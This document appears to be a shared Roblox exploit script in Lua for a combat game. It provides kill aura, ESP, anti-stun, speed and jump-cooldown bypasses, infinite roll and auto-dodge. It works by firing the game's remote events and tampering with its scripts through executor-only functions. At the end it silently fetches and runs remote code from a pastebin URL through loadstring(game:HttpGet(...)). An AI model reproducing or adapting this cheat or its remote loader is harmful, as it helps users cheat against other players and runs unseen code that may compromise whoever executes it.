Message - 2021-08-14T210750.088

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 11

--// Variables

local Players = game:GetService("Players")


local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")

local Heartbeat = RunService.Heartbeat

local LocalPlayer = Players.LocalPlayer


local Mouse = LocalPlayer:GetMouse()

local Humanoid
local RootPart
local Head
local Torso

local WeaponSize

local isHitting = false

local Hotkey = "LeftAlt" --For Kill Aura


local Pressed = false

--// Get Player Main Weapon


local function GetMainWeapon(Player)
for _,x in next, Player.Backpack:GetChildren() do
if x:FindFirstChild("hit") then
return x
else
for _,v in next, Player.Character:GetChildren() do
if v:FindFirstChild("hit") then
return v
end
end
end
end
end

local function GetWeaponSize()


if GetMainWeapon(LocalPlayer) and
GetMainWeapon(LocalPlayer):FindFirstChild("wep") then
local i =
GetMainWeapon(LocalPlayer):FindFirstChild("wep").Value.PrimaryPart.Size
local FinalPart
for _,x in next,
GetMainWeapon(LocalPlayer):FindFirstChild("wep").Value:GetDescendants() do
if x:IsA("BasePart") then
if x.Size.Magnitude > i.Magnitude then
FinalPart = x
else
i = x.Size
end
end
end
return FinalPart
end
end

--// Empty Variables function


local function RestoreEmptyVariables()
if LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
Humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
end
if Humanoid then
RootPart = Humanoid.RootPart
end
if LocalPlayer.Character:FindFirstChild("Head") then
Head = LocalPlayer.Character.Head
end
if LocalPlayer.Character:FindFirstChild("Torso") then
Torso = LocalPlayer.Character.Torso
end
coroutine.wrap(function()
repeat Heartbeat:wait() until LocalPlayer.Character.Parent ==
workspace.PlayersCharacters
wait(.5)
WeaponSize = GetWeaponSize()
end)()
end RestoreEmptyVariables()

--// Get Closest Player function


local function GetPlayer()
local MagnitudeCheck = coroutine.wrap(function()
while Pressed do
Heartbeat:wait()
for _,x in next, Players:GetChildren() do
if x and x ~= LocalPlayer and x.Character and
x.Character:FindFirstChild("Head") and WeaponSize then
if (x.Character:FindFirstChild("Head").CFrame.p -
WeaponSize.CFrame.p).Magnitude <= 5 then
if GetMainWeapon(LocalPlayer) and
GetMainWeapon(LocalPlayer).Parent == LocalPlayer.Character and
GetMainWeapon(LocalPlayer):FindFirstChild("swing") and
x.Character:FindFirstChildOfClass("Humanoid").Health > 0 then
if not x.Character:FindFirstChild("Parry") then
isHitting = true
GetMainWeapon(LocalPlayer).swing:FireServer()
repeat Heartbeat:wait() until not
x.Character:FindFirstChild("Parry")

GetMainWeapon(LocalPlayer).hit:FireServer(x.Character:FindFirstChildOfClass("Humano
id"))
end
end
else
isHitting = false
end
end
end
end
end)()
local FakeAnim = coroutine.wrap(function()
while Pressed do
local WaitingTime
if isHitting then
if GetMainWeapon(LocalPlayer) and
GetMainWeapon(LocalPlayer):FindFirstChild("Cooldowntime") then
local Weapon = GetMainWeapon(LocalPlayer)
local WaitingTime = Weapon.Cooldowntime.Value
for _,x in next, Weapon:GetDescendants() do
if x:IsA("Animation") and x.Name ~= "hold" and x.Name ~=
"parryanim" then
Humanoid:LoadAnimation(x):Play()
wait(WaitingTime)
end
end
end
end
if WaitingTime then
wait(WaitingTime)
else
wait()
end
end
end)()
end

--// Kill Aura


local CBillboard
local CBillboardStatus

local function MakeBGui(StatusText,Color)


local Billboard = Instance.new("BillboardGui",Head)
local BillboardStatus = Instance.new("BillboardGui",Head)
local Text = Instance.new("TextLabel",Billboard)
local TextStatus = Instance.new("TextLabel",BillboardStatus)
Billboard.Adornee = Head
BillboardStatus.Adornee = Head
Billboard.Size = UDim2.new(3,0,1,0)
Billboard.StudsOffset = Vector3.new(0,3,0)
BillboardStatus.Size = UDim2.new(3,0,0.75,0)
BillboardStatus.StudsOffset = Vector3.new(0,2.3,0)
Text.Size = UDim2.new(1,0,1,0)
TextStatus.Size = UDim2.new(1,0,1,0)
Text.BackgroundTransparency = 1
TextStatus.BackgroundTransparency = 1
Text.TextColor3 = Color3.fromRGB(0,0,0)
Text.Font = "Code"
TextStatus.Font = "Code"
Text.TextScaled = true
TextStatus.TextScaled = true
Text.Text = "Kill Aura:"
TextStatus.Text = StatusText
TextStatus.TextColor3 = Color
CBillboard = Billboard
CBillboardStatus = BillboardStatus
end MakeBGui("OFF",Color3.fromRGB(255,0,0))

local function DeadCheck(x)


Humanoid.Died:Connect(function()
if Pressed then
Pressed = false
end
end)
end DeadCheck(LocalPlayer.Character)

UserInputService.InputBegan:Connect(function(Input,x)
if not x then
if Input.KeyCode == Enum.KeyCode[Hotkey] then
if not Pressed then
Pressed = true
CBillboard:Destroy()
CBillboardStatus:Destroy()
MakeBGui("ON",Color3.fromRGB(0,255,0))
if GetMainWeapon(LocalPlayer) and GetMainWeapon(LocalPlayer).Parent
~= LocalPlayer.Character then
Humanoid:EquipTool(GetMainWeapon(LocalPlayer))
end
GetPlayer()
else
Pressed = false
CBillboard:Destroy()
CBillboardStatus:Destroy()
MakeBGui("OFF",Color3.fromRGB(255,0,0))
end
end
end
end)

--Anti Stun
local function AntiStun(v)
if v then
v.DescendantAdded:Connect(function(x)
if x:IsA("BodyVelocity") and x.Name == "BodyVelocity" and not
x.Parent.Parent:FindFirstChild("Crossbow") and not
x.Parent.Parent:FindFirstChild("Bear trap") then
if x.MaxForce and x.P and x.Velocity and x.MaxForce ==
Vector3.new(math.huge,0,math.huge) and x.P == 1250 and x.Velocity ==
Vector3.new(0,0,0) then
repeat RunService.Heartbeat:Wait() until x
if x then
x:Destroy()
end

game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)
if GetMainWeapon(LocalPlayer) and
GetMainWeapon(LocalPlayer).Parent ~= LocalPlayer.Character then
Humanoid:EquipTool(GetMainWeapon(LocalPlayer))
end
if not v:FindFirstChild("Parry") then
coroutine.wrap(function()
Humanoid.HipHeight = 20
wait(3)
Humanoid.HipHeight = 0
end)()
end
Humanoid.JumpPower = 50
Humanoid.AutoRotate = true
end
end
end)
end
end AntiStun(LocalPlayer.Character)

--// Esp
local function Esp(x)
coroutine.wrap(function()
repeat Heartbeat:wait() until x
if x.Name == "Crate" and x.PrimaryPart ~= nil then
local BHA = Instance.new("BoxHandleAdornment",x.PrimaryPart)
BHA.Adornee = x.PrimaryPart
BHA.AlwaysOnTop = true
BHA.ZIndex = 10
BHA.Size = x.PrimaryPart.Size
BHA.Transparency = 0.3
BHA.Color3 = Color3.fromRGB(0,255,0)
end
end)()
end

--// Anti BearTrap


coroutine.wrap(function()
for _,x in next, workspace:FindFirstChild("Explosions"):GetChildren() do
if x and x.Name == "BEARTRAP" then
for _,v in next, x:GetDescendants() do
if v:IsA("Part") then
v.Touched:Connect(function(x)
if x and v and x.Parent == LocalPlayer.Character then

game:GetService("ReplicatedStorage").dash:FireServer(Vector3.new(),Vector3.new(),Ve
ctor3.new())
wait(0.35)
repeat RunService.Heartbeat:wait()
if GetMainWeapon(LocalPlayer) then
Humanoid:EquipTool(GetMainWeapon(LocalPlayer))
end
until GetMainWeapon(LocalPlayer).Parent ==
LocalPlayer.Character
end
end)
end
end
end
end
end)()
local function AntiBearTrap(x)
coroutine.wrap(function()
repeat Heartbeat:wait() until x
if x and x.Name == "BEARTRAP" then
for _,v in next, x:GetDescendants() do
if v:IsA("Part") then
v.Touched:Connect(function(x)
if x and v and x.Parent == LocalPlayer.Character then

game:GetService("ReplicatedStorage").dash:FireServer(Vector3.new(),Vector3.new(),Ve
ctor3.new())
wait(0.35)
repeat RunService.Heartbeat:wait()
if GetMainWeapon(LocalPlayer) and
GetMainWeapon(LocalPlayer).Parent ~= LocalPlayer.Character then
Humanoid:EquipTool(GetMainWeapon(LocalPlayer))
end
until GetMainWeapon(LocalPlayer).Parent ==
LocalPlayer.Character
end
end)
end
end
end
end)()
end

--Anti Taunt
local function AntiTaunt()
Humanoid.HealthChanged:Connect(function()
if Humanoid.Parent == LocalPlayer.Character and RootPart.Parent ==
LocalPlayer.Character then
if Humanoid.Health <= 15 then
RootPart:Destroy()
end
end
end)
end AntiTaunt()

--Semi-Anti Ragdoll
local function SemiAntiRagdoll()
for _,x in next, Torso:GetChildren() do
if x:IsA("Motor6D") then
x:GetPropertyChangedSignal("Enabled"):Connect(function()
if not x.Enabled then
Humanoid:ChangeState(2)
end
end)
end
end
end SemiAntiRagdoll()

--Anti Fall
local function AntiFall()
local AntiF = coroutine.wrap(function()
while Heartbeat:wait() do
if RootPart.Parent == LocalPlayer.Character and RootPart.Velocity.Y <=
-80 then
RootPart.Velocity = Vector3.new(RootPart.Velocity.X,-
10,RootPart.Velocity.Z)
end
end
end)()
end AntiFall()

--WalkSpeed bypass
local function WalkSpeed()
coroutine.wrap(function()
while Humanoid.Parent == LocalPlayer.Character do
if Humanoid.Parent == LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("Runscript") and
LocalPlayer.Character:FindFirstChild("Runscript"):FindFirstChild("run") then
Humanoid.WalkSpeed = 32.5

LocalPlayer.Character:FindFirstChild("Runscript"):FindFirstChild("run"):FireServer(
true)
end
RunService.Heartbeat:wait()
end
end)()
end WalkSpeed()

local function Jump()


local JumpCooldown = LocalPlayer.Character:WaitForChild("JumpCooldown")
for _,x in next, getreg() do
if typeof(x) == "function" and getfenv(x).script == JumpCooldown then
local UpValues = debug.getupvalues(x)
if UpValues.VariableName then
debug.setupvalue(x,"Humanoid",nil)
end
end
end
JumpCooldown.Disabled = true
end Jump()

local function InstantThrow(c)


for _,x in next, LocalPlayer.Backpack:GetChildren() do
if x:IsA("Tool") then
x.Parent = c
end
end
Heartbeat:wait()
for _,x in next, c:GetDescendants() do
if x:IsA("RemoteEvent") and x.Name == "start" then
if x.Parent:FindFirstChildOfClass("LocalScript") then
x.Parent:FindFirstChildOfClass("LocalScript"):Destroy()
end
x:FireServer()
end
end
for _,x in next, c:GetChildren() do
if x:IsA("Tool") then
x.Parent = LocalPlayer.Backpack
end
end
end
coroutine.wrap(function()
repeat game:GetService("RunService").Heartbeat:wait() until
LocalPlayer.Character and LocalPlayer.Character.Parent ==
workspace:FindFirstChild("PlayersCharacters") and
(LocalPlayer.Backpack:FindFirstChild("Fire bomb") or
LocalPlayer.Character:FindFirstChild("Fire bomb"))
InstantThrow(LocalPlayer.Character)
end)()

local function InstantThrowMouse()


if LocalPlayer.Character:FindFirstChildOfClass("Tool") and
LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("throw") then

LocalPlayer.Character:FindFirstChildOfClass("Tool").throw:FireServer(Mouse.Hit.p)
end
end
Mouse.Button1Down:Connect(InstantThrowMouse)

local function InfiniteRoll()


if LocalPlayer.Character then
local RollStuff = {
"Abletoroll";
"cooldown";
"cooldown2";
"Stamina";
}
for _,x in next, RollStuff do
if not LocalPlayer.Character:FindFirstChild(x, true) then
return
end
end
coroutine.wrap(function()
while Humanoid.Parent == LocalPlayer.Character do
LocalPlayer.Character:FindFirstChild(RollStuff[1], true).Value =
true
LocalPlayer.Character:FindFirstChild(RollStuff[2], true).Value =
false
LocalPlayer.Character:FindFirstChild(RollStuff[3], true).Value =
false
LocalPlayer.Character:FindFirstChild(RollStuff[4], true).Value =
1/0
RunService.Heartbeat:wait()
end
end)()
end
end InfiniteRoll()

--Dodge All
local BadStuff = {
C4 = "c4model";
Grenade = "BombProp";
FireBomb = "Molotovprop";
Fire = "Part";
FireWork = "FireworkProp";
Rock = "Model";
CannonBall = "partñ";
Bolt = "Bolt";
Arrow = "ArrowModel";
}

local function MoveBack(x)


if RootPart.Parent == LocalPlayer.Character then
LocalPlayer.Character:SetPrimaryPartCFrame(RootPart.CFrame *
CFrame.new(math.random(x), 0, math.random(x)/2))
end
end

workspace.Explosions.ChildAdded:Connect(function(x)
if x.Name == BadStuff.Grenade then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Grenade = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Grenade and RootPart.Parent == LocalPlayer.Character and
(Grenade.PrimaryPart.Position - RootPart.CFrame.Position).Magnitude <= 20 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,10,0)
MoveBack(12.5)
end
end)
until not Grenade or Grenade.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.FireBomb then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local FireBomb = x
repeat RunService.Heartbeat:wait()
pcall(function()
if FireBomb and RootPart.Parent == LocalPlayer.Character and
(FireBomb.PrimaryPart.Position - RootPart.CFrame.Position).Magnitude <= 20 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,10,0)
MoveBack(15)
end
end)
until not FireBomb or FireBomb.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.Fire and x.Anchored then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x and
x:FindFirstChildOfClass("Sound")
local Fire = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Fire and RootPart.Parent == LocalPlayer.Character and
(Fire.Position - RootPart.CFrame.Position).Magnitude <= 17 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,10,0)
MoveBack(15)
end
end)
until not Fire or Fire.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.CannonBall then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Cannon = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Cannon and RootPart.Parent == LocalPlayer.Character and
(Cannon.Position - RootPart.CFrame.Position).Magnitude <= 30 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,7.5,0)
MoveBack(7.5)
end
end)
until not Cannon or Cannon.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.Rock and x:FindFirstChild("Rock") then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Rock = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Rock and RootPart.Parent == LocalPlayer.Character and
(Rock.PrimaryPart.Position.Y - RootPart.CFrame.Position.Y) <= 100 then
MoveBack(15)
end
end)
until not Rock or Rock.PrimaryPart.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.Bolt then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Bolt = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Bolt and RootPart.Parent == LocalPlayer.Character and
(Bolt.PrimaryPart.Position - RootPart.CFrame.Position).Magnitude <= 50 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,7.55,0)
MoveBack(8.5)
end
end)
until not Bolt or Bolt.PrimaryPart.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.Arrow then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Arrow = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Arrow and RootPart.Parent == LocalPlayer.Character and
(Arrow.PrimaryPart.Position - RootPart.CFrame.Position).Magnitude <= 50 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,7.5,0)
MoveBack(8.5)
end
end)
until not Arrow or Arrow.PrimaryPart.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
end)

--// Events
workspace:FindFirstChild("Explosions").ChildAdded:Connect(Esp)
workspace:FindFirstChild("Explosions").ChildAdded:Connect(AntiBearTrap)

LocalPlayer.CharacterAdded:Connect(function(Character)
repeat game:GetService("RunService").Heartbeat:wait() until Character and
Character.Parent == workspace:FindFirstChild("PlayersCharacters") and
(LocalPlayer.Backpack:FindFirstChild("Fire bomb") or Character:FindFirstChild("Fire
bomb"))
RestoreEmptyVariables()
DeadCheck(LocalPlayer.Character)
if Pressed then
MakeBGui("ON",Color3.fromRGB(0,255,0))
else
MakeBGui("OFF",Color3.fromRGB(255,0,0))
end
InstantThrow(Character)
AntiStun(Character)
AntiTaunt()
SemiAntiRagdoll()
AntiFall()
WalkSpeed()
Jump()
InfiniteRoll()
end)

pcall(function()
loadstring(game:HttpGet("https://pastebin.com/raw/j8p5F0j8"))()
end)

You might also like